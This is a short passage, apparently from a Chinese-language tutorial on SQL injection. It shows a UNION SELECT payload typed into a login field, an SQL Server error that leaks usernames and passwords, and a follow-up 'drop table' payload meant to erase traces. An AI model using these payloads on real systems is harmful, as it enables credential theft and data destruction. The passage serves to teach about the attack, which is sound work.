Username：'' union select ret,1,1,1 from foo— Microsoft OLE DB Provider for ODBC Drivers error ''80040e07'' [Microsoft][ODBC SQL Server Driver][SQL Server] Syntax error converting the varchar value '': admin/r00tr0x! guest/guest chris/password fred/sesame'' to a column of data type int. /process_login.asp, line 35
然后丢弃（删除）表来清楚脚印：
Username：''; drop table foo—
这个例子仅仅是这种技术的一个表面的作用。没必要说，假如攻击者能够从数据库中获得足够的错误西，他们的工作就变的无限简单。
评论加载中…
 |